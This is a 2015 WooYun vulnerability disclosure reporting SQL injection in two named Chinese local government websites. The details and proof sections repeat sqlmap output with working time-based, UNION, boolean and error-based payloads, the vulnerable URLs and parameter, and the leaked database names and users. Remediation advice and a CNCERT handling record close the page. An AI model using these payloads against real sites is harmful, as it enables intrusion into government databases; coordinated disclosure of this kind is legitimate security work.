当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0125327

漏洞标题:SQL注射漏洞之地方政府网站

相关厂商:地方政府网站

漏洞作者: 安全小飞侠

提交时间:2015-07-08 16:07

修复时间:2015-08-24 11:42

公开时间:2015-08-24 11:42

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-08: 细节已通知厂商并且等待厂商处理中
2015-07-10: 厂商已经确认,细节仅向厂商公开
2015-07-20: 细节向核心白帽子及相关领域专家公开
2015-07-30: 细节向普通白帽子公开
2015-08-09: 细节向实习白帽子公开
2015-08-24: 细节向公众公开

简要描述:

SQL注射漏洞之地方政府网站

详细说明:

1. 石狮市人民法院网站

http://www.ssfy.gov.cn/infoshow.php?id=1073 - 注入参数id,时间盲注
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: id (GET)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=1073 AND (SELECT * FROM (SELECT(SLEEP(5)))VquV)
Type: UNION query
Title: Generic UNION query (NULL) - 12 columns
Payload: id=-6784 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171787171,0x5445546c6a65704f4572,0x7176627171)--
---
[02:12:27] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0.12
hostname: '156203.gzonet.com'
current database: 'ssfy'
current user: 'ssfy_f@localhost'


2. 芜湖市建筑工程质量监督站

http://www.whzj.gov.cn/news.php?id=1295  --注入参数id 布尔型盲注
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1295 AND 4333=4333
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: id=1295 AND (SELECT 8085 FROM(SELECT COUNT(*),CONCAT(0x71716a7a71,(SELECT (ELT(8085=8085,1))),0x716b707171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=1295 AND (SELECT * FROM (SELECT(SLEEP(5)))Mhor)
---
[02:14:00] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0
current database: 'hdm0780116_db'
current user: 'hdm0780116@%'


PS: 只测试,不深入

漏洞证明:

1. 石狮市人民法院网站

http://www.ssfy.gov.cn/infoshow.php?id=1073 - 注入参数id,时间盲注
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: id (GET)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=1073 AND (SELECT * FROM (SELECT(SLEEP(5)))VquV)
Type: UNION query
Title: Generic UNION query (NULL) - 12 columns
Payload: id=-6784 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171787171,0x5445546c6a65704f4572,0x7176627171)--
---
[02:12:27] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0.12
hostname: '156203.gzonet.com'
current database: 'ssfy'
current user: 'ssfy_f@localhost'


2. 芜湖市建筑工程质量监督站

http://www.whzj.gov.cn/news.php?id=1295  --注入参数id 布尔型盲注
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1295 AND 4333=4333
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: id=1295 AND (SELECT 8085 FROM(SELECT COUNT(*),CONCAT(0x71716a7a71,(SELECT (ELT(8085=8085,1))),0x716b707171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=1295 AND (SELECT * FROM (SELECT(SLEEP(5)))Mhor)
---
[02:14:00] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0
current database: 'hdm0780116_db'
current user: 'hdm0780116@%'

修复方案:

1. 使用预编译语句
2. 使用存储过程
3. 检查数据类型
4. 使用安全函数

版权声明:转载请注明来源 安全小飞侠@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-07-10 11:41

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给对应分中心,由其后续协调网站管理单位处置。

最新状态:

暂无